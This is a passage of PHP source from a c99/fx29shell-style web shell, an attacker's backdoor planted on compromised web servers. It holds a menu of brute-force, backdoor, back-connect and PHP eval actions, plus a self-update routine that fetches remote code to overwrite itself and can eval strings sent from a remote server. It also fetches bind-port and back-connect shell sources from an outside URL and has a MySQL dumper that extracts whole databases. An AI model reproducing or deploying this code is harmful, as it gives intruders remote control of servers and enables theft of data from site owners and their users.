    array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" border=\"0\">","#\" onclick=\"history.go(1)"),
    array("<img src=\"".$surl."act=img&img=up\" alt=\"Up\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"),
    array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" border=\"0\">",$surl."act=search&d=%d"),
    array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" border=\"0\">",$surl."act=fsbuff&d=%d")
);
$quicklaunch2 = array(
    array("Enumerate",$enumerate),
    array("Security Info",$surl."act=security&d=%d"),
    array("Processes",$surl."act=processes&d=%d"),
    array("MySQL",$surl."act=sql&d=%d"),
    array("PHP-Code",$surl."act=eval&d=%d"),
    array("Encoder",$surl."act=encoder&d=%d"),
    array("Mailer",$surl."act=fxmailer"),
    array("milw0rm it!",$millink),
    array("Md5-Lookup","http://darkc0de.com/database/md5lookup.html"),
    array("Word-Lists","http://darkc0de.com/wordlists/"),
    array("Toolz",$surl."act=tools&d=%d"),
    array("Self-Kill",$surl."act=selfremove"),
    array("Feedback",$surl."act=feedback"),
    array("Update",$surl."act=update"),
    array("About",$surl."act=about")
);

if (!$win) {
$quicklaunch2[] = array("<br>FTP-Brute",$surl."act=ftpquickbrute&d=%d");
$quicklaunch2[] = array("Backdoor",$surl."act=shbd");
$quicklaunch2[] = array("Back-Connect",$surl."act=backc");
}

//Highlight-code colors
$highlight_background = "#C0C0C0";
$highlight_bg = "#FFFFFF";
$highlight_comment = "#6A6A6A";
$highlight_default = "#0000BB";
$highlight_html = "#1300FF";
$highlight_keyword = "#007700";
$highlight_string = "#000000";

@$f = $_REQUEST["f"];
@extract($_REQUEST["c99shcook"]);
//END OF CONFIGURATIONS

//STOP EDITING!

//Authentication
@set_time_limit(0);
$tmp = array();
foreach ($host_allow as $k=>$v) { $tmp[] = str_replace("\*",".*",preg_quote($v)); }
$s = "!^(".implode("|",$tmp).")$!i";
if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {
  exit("<a href=\"$sh_mainurl\">$sh_name</a>: Access Denied - Your host (".getenv("REMOTE_ADDR").") not allowed");
}
if (!empty($login)) {
  if (empty($md5_pass)) {$md5_pass = md5($pass);}
  if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass)) {
    header("WWW-Authenticate: Basic realm=\"".$sh_name.": ".$login_txt."\"");
    header("HTTP/1.0 401 Unauthorized");
    exit($accessdeniedmess);
  }
}
if ($act != "img") {
  $lastdir = realpath(".");
  chdir($curdir);
  if ($selfwrite or $updatenow) {
    @ob_clean();
    c99sh_getupdate($selfwrite,1);
    exit;
  }
  $sess_data = unserialize($_COOKIE["$sess_cookie"]);
  if (!is_array($sess_data)) {$sess_data = array();}
  if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
  if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}
  if (!function_exists("c99getsource")) {
    function c99getsource($fn) {
      global $c99sh_sourcesurl;
      $array = array(
        "c99sh_bindport.pl" => "c99sh_bindport_pl.txt",
        "c99sh_bindport.c" => "c99sh_bindport_c.txt",
        "c99sh_backconn.pl" => "c99sh_backconn_pl.txt",
        "c99sh_backconn.c" => "c99sh_backconn_c.txt",
        "c99sh_datapipe.pl" => "c99sh_datapipe_pl.txt",
        "c99sh_datapipe.c" => "c99sh_datapipe_c.txt",
      );
      $name = $array[$fn];
      if ($name) {return file_get_contents($c99sh_sourcesurl.$name);}
      else {return FALSE;}
    }
  }
  if (!function_exists("c99sh_getupdate")) {
    function c99sh_getupdate($update = TRUE) {
      $url = $GLOBALS["c99sh_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["sh_ver"]))."&updatenow=".($updatenow?"1":"0");
      $data = @file_get_contents($url);
      if (!$data) {return "Can't connect to update-server!";}
      else {
        $data = ltrim($data);
        $string = substr($data,3,ord($data{2}));
        if ($data{0} == "" and $data{1} == "") {return "Error: ".$string; return FALSE;}
        if ($data{0} == "" and $data{1} == "") {return "You are using latest version!";}
        if ($data{0} == "" and $data{1} == "") {
          $string = explode("|",$string);
          if ($update) {
            $confvars = array();
            $sourceurl = $string[0];
            $source = file_get_contents($sourceurl);
            if (!$source) {return "Can't fetch update!";}
            else {
              $fp = fopen(__FILE__,"w");
              if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download fx29shell.php manually <a href=\"".$sourceurl."\"><u>here</u></a>.";}
              else {
                fwrite($fp,$source);
                fclose($fp);
                return "Thanks! Update completed.";
              }
            }
          }
          else {return "New version are available: ".$string[1];}
        }
        elseif ($data{0} == "" and $data{1} == "") {
          eval($string);
          return 1;
        }
        else {return "Error in protocol: segmentation failed! (".$data.") ";}
      }
    }
  }
  if (!function_exists("c99_buff_prepare")) {
    function c99_buff_prepare() {
      global $sess_data;
      global $act;
      foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\",DIRECTORY_SEPARATOR,realpath($v));}
      foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\",DIRECTORY_SEPARATOR,realpath($v));}
      $sess_data["copy"] = array_unique($sess_data["copy"]);
      $sess_data["cut"] = array_unique($sess_data["cut"]);
      sort($sess_data["copy"]);
      sort($sess_data["cut"]);
      if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
      else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
    }
  }
  c99_buff_prepare();
  if (!function_exists("c99_sess_put")) {
    function c99_sess_put($data) {
      global $sess_cookie;
      global $sess_data;
      c99_buff_prepare();
      $sess_data = $data;
      $data = serialize($data);
      setcookie($sess_cookie,$data);
    }
  }
  foreach (array("sort","sql_sort") as $v) {
    if (!empty($_GET[$v])) {$$v = $_GET[$v];}
    if (!empty($_POST[$v])) {$$v = $_POST[$v];}
  }
  if ($sort_save) {
    if (!empty($sort)) {setcookie("sort",$sort);}
    if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
  }
  if (!function_exists("str2mini")) {
    function str2mini($content,$len) {
      if (strlen($content) > $len) {
        $len = ceil($len/2) - 2;
        return substr($content, 0,$len)."...".substr($content,-$len);
      } else {return $content;}
    }
  }
  if (!function_exists("view_size")) {
    function view_size($size) {
      if (!is_numeric($size)) { return FALSE; }
      else {
        if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
        elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
        elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
        else {$size = $size . " B";}
        return $size;
      }
    }
  }
  if (!function_exists("fs_copy_dir")) {
    function fs_copy_dir($d,$t) {
      $d = str_replace("\",DIRECTORY_SEPARATOR,$d);
      if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
      $h = opendir($d);
      while (($o = readdir($h)) !== FALSE) {
        if (($o != ".") and ($o != "..")) {
          if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
          else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
          if (!$ret) {return $ret;}
        }
      }
      closedir($h);
      return TRUE;
    }
  }
  if (!function_exists("fs_copy_obj")) {
    function fs_copy_obj($d,$t) {
      $d = str_replace("\",DIRECTORY_SEPARATOR,$d);
      $t = str_replace("\",DIRECTORY_SEPARATOR,$t);
      if (!is_dir(dirname($t))) {mkdir(dirname($t));}
      if (is_dir($d)) {
        if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
        if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
        return fs_copy_dir($d,$t);
      }
      elseif (is_file($d)) { return copy($d,$t); }
      else { return FALSE; }
    }
  }
  if (!function_exists("fs_move_dir")) {
    function fs_move_dir($d,$t) {
      $h = opendir($d);
      if (!is_dir($t)) {mkdir($t);}
      while (($o = readdir($h)) !== FALSE) {
        if (($o != ".") and ($o != "..")) {
          $ret = TRUE;
          if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
          else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}
          if (!$ret) {return $ret;}
        }
      }
      closedir($h);
      return TRUE;
    }
  }
  if (!function_exists("fs_move_obj")) {
    function fs_move_obj($d,$t) {
      $d = str_replace("\",DIRECTORY_SEPARATOR,$d);
      $t = str_replace("\",DIRECTORY_SEPARATOR,$t);
      if (is_dir($d)) {
        if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
        if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
        return fs_move_dir($d,$t);
      }
      elseif (is_file($d)) {
        if(copy($d,$t)) {return unlink($d);}
        else {unlink($t); return FALSE;}
      }
      else {return FALSE;}
    }
  }
  if (!function_exists("fs_rmdir")) {
    function fs_rmdir($d) {
      $h = opendir($d);
      while (($o = readdir($h)) !== FALSE) {
        if (($o != ".") and ($o != "..")) {
          if (!is_dir($d.$o)) {unlink($d.$o);}
          else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
        }
      }
      closedir($h);
      rmdir($d);
      return !is_dir($d);
    }
  }
  if (!function_exists("fs_rmobj")) {
    function fs_rmobj($o) {
      $o = str_replace("\",DIRECTORY_SEPARATOR,$o);
      if (is_dir($o)) {
        if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
        return fs_rmdir($o);
      }
      elseif (is_file($o)) {return unlink($o);}
      else {return FALSE;}
    }
  }
  if (!function_exists("tabsort")) {
    function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}
  }
  if (!function_exists("view_perms")) {
    function view_perms($mode) {
      if (($mode & 0xC000) === 0xC000) {$type = "s";}
      elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
      elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
      elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
      elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
      elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
      elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
      else {$type = "?";}
      $owner["read"] = ($mode & 00400)?"r":"-";
      $owner["write"] = ($mode & 00200)?"w":"-";
      $owner["execute"] = ($mode & 00100)?"x":"-";
      $group["read"] = ($mode & 00040)?"r":"-";
      $group["write"] = ($mode & 00020)?"w":"-";
      $group["execute"] = ($mode & 00010)?"x":"-";
      $world["read"] = ($mode & 00004)?"r":"-";
      $world["write"] = ($mode & 00002)? "w":"-";
      $world["execute"] = ($mode & 00001)?"x":"-";
      if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
      if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
      if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
      return $type.join("",$owner).join("",$group).join("",$world);
    }
  }
  if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}
  if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}
  if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
  if (!function_exists("parse_perms")) {
    function parse_perms($mode) {
      if (($mode & 0xC000) === 0xC000) {$t = "s";}
      elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
      elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
      elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
      elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
      elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
      elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
      else {$t = "?";}
      $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
      $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
      $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
      return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
    }
  }
  if (!function_exists("parsesort")) {
    function parsesort($sort) {
      $one = intval($sort);
      $second = substr($sort,-1);
      if ($second != "d") {$second = "a";}
      return array($one,$second);
    }
  }
  if (!function_exists("view_perms_color")) {
    function view_perms_color($o) {
      if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";}
      elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";}
      else {return "<font color=green>".view_perms(fileperms($o))."</font>";}
    }
  }
  if (!function_exists("mysql_dump")) {
    function mysql_dump($set) {
      global $sh_ver;
      $sock = $set["sock"];
      $db = $set["db"];
      $print = $set["print"];
      $nl2br = $set["nl2br"];
      $file = $set["file"];
      $add_drop = $set["add_drop"];
      $tabs = $set["tabs"];
      $onlytabs = $set["onlytabs"];
      $ret = array();
      $ret["err"] = array();
      if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
      if (empty($db)) {$db = "db";}
      if (empty($print)) {$print = 0;}
      if (empty($nl2br)) {$nl2br = 0;}
      if (empty($add_drop)) {$add_drop = TRUE;}
      if (empty($file)) {
        $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
      }
      if (!is_array($tabs)) {$tabs = array();}
      if (empty($add_drop)) {$add_drop = TRUE;}
      if (sizeof($tabs) == 0) {
        //Retrieve tables-list
        $res = mysql_query("SHOW TABLES FROM ".$db, $sock);
        if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
      }
      $out = "
      # Dumped by ".$sh_name."
      #
      # Host settings:
      # MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
      # Date: ".date("d.m.Y H:i:s")."
      # DB: \"".$db."\"
      #---------------------------------------------------------";
      $c = count($onlytabs);
      foreach($tabs as $tab) {
        if ((in_array($tab,$onlytabs)) or (!$c)) {
          if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;
";}
          //Receieve query for create table structure
          $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
          if (!$res) {$ret["err"][] = mysql_smarterror();}
          else {
            $row = mysql_fetch_row($res);
            $out .= $row["1"].";

";
            //Receieve table variables
            $res = mysql_query("SELECT * FROM `$tab`", $sock);
            if (mysql_num_rows($res) > 0) {
              while ($row = mysql_fetch_assoc($res)) {
                $keys = implode("`, `", array_keys($row));
                $values = array_values($row);
                foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
                $values = implode("', '", $values);
                $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');
";
                $out .= $sql;
              }
            }
          }
        }
      }
      $out .= "#---------------------------------------------------------------------------------

";
      if ($file) {
        $fp = fopen($file, "w");
        if (!$fp) {$ret["err"][] = 2;}
        else {
          fwrite ($fp, $out);
          fclose ($fp);
        }
      }
      if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
      return $out;
    }
  }
  if (!function_exists("mysql_buildwhere")) {
    function mysql_buildwhere($array,$sep=" and",$functs=array()) {
      if (!is_array($array)) {$array = array();}
      $result = "";
      foreach($array as $k=>$v) {
        $value = "";
        if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
        $value .= "'".addslashes($v)."'";
        if (!empty($functs[$k])) {$value .= ")";}
        $result .= "`".$k."` = ".$value.$sep;
      }
      $result = substr($result,0,strlen($result)-strlen($sep));
      return $result;
    }
  }
  if (!function_exists("mysql_fetch_all")) {
    function mysql_fetch_all($query,$sock) {
      if ($sock) {$result = mysql_query($query,$sock);}
      else {$result = mysql_query($query);}
      $array = array();
      while ($row = mysql_fetch_array($result)) {$array[] = $row;}
      mysql_free_result($result);
      return $array;
    }
  }
  if (!function_exists("mysql_smarterror")) {
    function mysql_smarterror($type,$sock) {
      if ($sock) {$error = mysql_error($sock);}
      else {$error = mysql_error();}
      $error = htmlspecialchars($error);
      return $error;
    }
  }
  if (!function_exists("mysql_query_form")) {
    function mysql_query_form() {
      global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
      if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
      if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
      if ((!$submit) or ($sql_act)) {
        echo "<table border=0><tr><td><form name=\"c99sh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\"> <input type=submit value=\"No\"></form></td>";
        if ($tbl_struct) {
          echo "<td valign=\"top\"><b>Fields:</b><br>";
          foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "+ <a href=\"#\" onclick=\"document.c99sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";}
          echo "</td></tr></table>";
        }
      }
      if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
    }
  }
  if (!function_exists("mysql_create_db")) {
    function mysql_create_db($db,$sock="") {
      $sql = "CREATE DATABASE `".addslashes($db)."`;";
      if ($sock) {return mysql_query($sql,$sock);}
      else {return mysql_query($sql);}
    }
  }
  if (!function_exists("mysql_query_parse")) {
    function mysql_query_parse($query) {
      $query = trim($query);
      $arr = explode (" ",$query);
      $types = array(
        "SELECT"=>array(3,1),
        "SHOW"=>array(2,1),
        "DELETE"=>array(1),
        "DROP"=>array(1)
      );
      $result = array();
      $op = strtoupper($arr[0]);
      if (is_array($types[$op])) {
        $result["propertions"] = $types[$op];
        $result["query"]  = $query;
        if ($types[$op] == 2) {
          foreach($arr as $k=>$v) {
            if (strtoupper($v) == "LIMIT") {
              $result["limit"] = $arr[$k+1];
              $result["limit"] = explode(",",$result["limit"]);
              if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
              unset($arr[$k],$arr[$k+1]);
            }
          }
        }
      }
      else {return FALSE;}
    }
  }
  if (!function_exists("c99fsearch")) {
    function c99fsearch($d) {
      global $found;
      global $found_d;
      global $found_f;
      global $search_i_f;
      global $search_i_d;
      global $a;
      if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
      $h = opendir($d);
      while (($f = readdir($h)) !== FALSE) {
        if($f != "." && $f != "..") {
          $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));
          if (is_dir($d.$f)) {
            $search_i_d++;
            if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
            if (!is_link($d.$f)) {c99fsearch($d.$f);}
          }
          else {
            $search_i_f++;
            if ($bool) {
              if (!empty($a["text"])) {
                $r = @file_get_contents($d.$f);
                if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
                if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
                if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
                else {$bool = strpos(" ".$r,$a["text"],1);}
                if ($a["text_not"]) {$bool = !$bool;}
                if ($bool) {$found[] = $d.$f; $found_f++;}
              }
              else {$found[] = $d.$f; $found_f++;}
            }
          }
        }
      }
      closedir($h);
    }
  }
  if ($act == "gofile") {
    if (is_dir($f)) { $act = "ls"; $d = $f; }
    else { $act = "f"; $d = dirname($f); $f = basename($f); }
  }
  //Sending Headers
  @ob_start();
  @ob_implicit_flush(0);
  function onphpshutdown() {
    global $gzipencode,$ft;
    if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) {
      $v = @ob_get_contents();
      @ob_end_clean();
      @ob_start("ob_gzHandler");
      echo $v;
      @ob_end_flush();
    }
  }
  function c99shexit() {
    onphpshutdown();
    exit;
  }
  header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
  header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
  header("Cache-Control: no-store, no-cache, must-revalidate");
  header("Cache-Control: post-check=0, pre-check=0", FALSE);
  header("Pragma: no-cache");
  //Setting Temporary Dir
  if (empty($tmpdir)) {
    $tmpdir = ini_get("upload_tmp_dir");
    if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
  }
  $tmpdir = realpath($tmpdir);
  $tmpdir = str_replace("\",DIRECTORY_SEPARATOR,$tmpdir);
  if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
  if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
  else {$tmpdir_logs = realpath($tmpdir_logs);}
  //Getting Status
  function showstat($stat) {
    if ($stat=="on") { return "<font color=#00FF00><b>ON</b></font>"; }
    else { return "<font color=#FF9900><b>OFF</b></font>"; }
  }
  function testperl() {
    if (ex('perl -h')) { return showstat("on"); }
    else { return showstat("off"); }
  }
  function testfetch() {
    if(ex('fetch --help')) { return showstat("on"); }
    else { return showstat("off"); }
  }
  function testwget() {
    if (ex('wget --help')) { return showstat("on"); }
    else { return showstat("off"); }
  }
  function testoracle() {
    if (function_exists('ocilogon')) { return showstat("on"); }
    else { return showstat("off"); }
  }
  function testpostgresql() {
    if (function_exists('pg_connect')) { return showstat("on"); }
    else { return showstat("off"); }
  }
  function testmssql() {
    if (function_exists('mssql_connect')) { return showstat("on"); }
    else { return showstat("off"); }
  }
  function testcurl() {
    if (function_exists('curl_version')) { return showstat("on"); }
    else { return showstat("off"); }
  }
  function testmysql() {
    if (function_exists('mysql_connect')) { return showstat("on"); }
    else { return showstat("off"); }
  }
  function showdisablefunctions() {
    if ($disablefunc=@ini_get("disable_functions")){ return "<font color=#FF9900><b>".$disablefunc."</b></font>"; }
    else { return "<font color=#00FF00><b>NONE</b></b></font>"; }
  }
  //Getting Safe Mode Status
  if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") {
    $safemode = TRUE;
    $hsafemode = "<font color=#3366FF><b>SAFE MODE is ON (Secure)</b></font>";
  }
  else {
    $safemode = FALSE;
    $hsafemode = "<font color=#FF9900><b>SAFE MODE is OFF (Not Secure)</b></font>";
  }
  $v = @ini_get("open_basedir");
  if ($v or strtolower($v) == "on") {
    $openbasedir = TRUE;
    $hopenbasedir = "<font color=red>".$v."</font>";
  }
  else {
    $openbasedir = FALSE;
    $hopenbasedir = "<font color=green>OFF (not secure)</font>";
  }
  $sort = htmlspecialchars($sort);
  if (empty($sort)) {$sort = $sort_default;}
  $sort[1] = strtolower($sort[1]);
  $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
  if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
  $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE));
  @ini_set("highlight.bg",$highlight_bg);
  @ini_set("highlight.comment",$highlight_comment);
  @ini_set("highlight.default",$highlight_default);
  @ini_set("highlight.html",$highlight_html);
  @ini_set("highlight.keyword",$highlight_keyword);
  @ini_set("highlight.string",$highlight_string);
  if (!is_array($actbox)) { $actbox = array(); }
  $dspact = $act = htmlspecialchars($act);
  $disp_fullpath = $ls_arr = $notls = null;
  $ud = urlencode($d);
  //Directory
  $d = str_replace("\",DIRECTORY_SEPARATOR,$d);
  if (empty($d)) {$d = realpath(".");}
  elseif(realpath($d)) {$d = realpath($d);}
  $d = str_replace("\",DIRECTORY_SEPARATOR,$d);
  if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  $d = str_replace("\","\",$d);
  $dispd = htmlspecialchars($d);
/***** HTML START *****/
echo $html_start;
echo "<div class=barheader2><h3>$sh_name</h3>Homepage</div>
";
echo "<table id=pagebar><tr><td width=50%><p>".
     "Software : ".$DISP_SERVER_SOFTWARE ." - <a href=".$surl."act=phpini>php.ini</a><br>".
     "$hsafemode<br>".
     "OS : ".php_uname()."<br>";
if (!$win) { echo "User ID : ".myshellexec("id"); }
else { echo "User : " . get_current_user(); }
echo "</p></td>".
     "<td width=50%><p>Server IP : <a href=http://whois.domaintools.com/".gethostbyname($_SERVER["HTTP_HOST"]).">".gethostbyname($_SERVER["HTTP_HOST"])."</a> - ".
     "Your IP : <a href=http://whois.domaintools.com/".$_SERVER["REMOTE_ADDR"].">".$_SERVER["REMOTE_ADDR"]."</a><br>";
if($win){echo "Drives : ".disp_drives($d,$surl)."<br>";}
echo "Freespace : ".disp_freespace($d);
echo "</p></td></tr>";
echo "<tr><td colspan=2><p>";
echo "MySQL: ".testmysql()." MSSQL: ".testmssql()." Oracle: ".testoracle()." MSSQL: ".testmssql()." PostgreSQL: ".testpostgresql().
     " cURL: ".testcurl()." WGet: ".testwget()." Fetch: ".testfetch()." Perl: ".testperl()."<br>";
echo "Disabled Functions: ".showdisablefunctions();
echo "</p></td></tr>";
echo "<tr><td colspan=2 id=mainmenu>";
if (count($quicklaunch2) > 0) {
  foreach($quicklaunch2 as $item) {
    $item[1] = str_replace("%d",urlencode($d),$item[1]);
    $item[1] = str_replace("%sort",$sort,$item[1]);
    $v = realpath($d."..");
    if (empty($v)) {
      $a = explode(DIRECTORY_SEPARATOR,$d);
      unset($a[count($a)-2]);
      $v = join(DIRECTORY_SEPARATOR,$a);
    }
    $item[1] = str_replace("%upd",urlencode($v),$item[1]);
    echo "<a href=\"".$item[1]."\">".$item[0]."</a>
";
  }
}
echo "</td><tr><td colspan=2 id=mainmenu>";
if (count($quicklaunch1) > 0) {
  foreach($quicklaunch1 as $item) {
    $item[1] = str_replace("%d",urlencode($d),$item[1]);
    $item[1] = str_replace("%sort",$sort,$item[1]);
    $v = realpath($d."..");
    if (empty($v)) {
      $a = explode(DIRECTORY_SEPARATOR,$d);
      unset($a[count($a)-2]);
      $v = join(DIRECTORY_SEPARATOR,$a);
    }
    $item[1] = str_replace("%upd",urlencode($v),$item[1]);
    echo "<a href=\"".$item[1]."\">".$item[0]."</a>
";
  }
}
echo "</td></tr><tr><td colspan=2>";
echo "<p class=fleft>";
$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));
$i = 0;
foreach($pd as $b) {
  $t = ""; $j = 0;
  foreach ($e as $r) {
    $t.= $r.DIRECTORY_SEPARATOR;
    if ($j == $i) { break; }
    $j++;
  }
  echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><font color=yellow>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</font></a>";
  $i++;
}
echo " - ";
if (is_writable($d)) {
  $wd = TRUE;
  $wdt = "<font color=#00FF00>[OK]</font>";
  echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>";
}
else {
  $wd = FALSE;
  $wdt = "<font color=red>[Read-Only]</font>";
  echo "<b>".view_perms_color($d)."</b>";
}
?>
</p>
<div class=fright>
<form method="POST"><input type=hidden name=act value="ls">
Directory: <input type="text" name="d" size="50" value="<?php echo $dispd; ?>"> <input type=submit value="Go">
</form>
</div>
</td></tr></table>
<?php
//Information Table
echo "<table id=maininfo><tr><td width=\"100%\">
";
//Action
if ($act == "") { $act = $dspact = "ls"; }
if ($act == "phpini" ) { get_phpini(); }
if ($act == "sql") {
  $sql_surl = $surl."act=sql";
  if ($sql_login)  {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}
  if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}
  if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}
  if ($sql_port)   {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}
  if ($sql_db)     {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
  $sql_surl .= "&";
  echo "<h4>Attention! SQL-Manager is <u>NOT</u> a ready module! Don't reports bugs.</h4>".
       "<table>".
       "<tr><td width=\"100%\" colspan=2 class=barheader>";
  if ($sql_server) {
    $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);
    $err = mysql_smarterror();
    @mysql_select_db($sql_db,$sql_sock);
    if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();}
  }
  else {$sql_sock = FALSE;}
  echo ".: SQL Manager :.<br>";
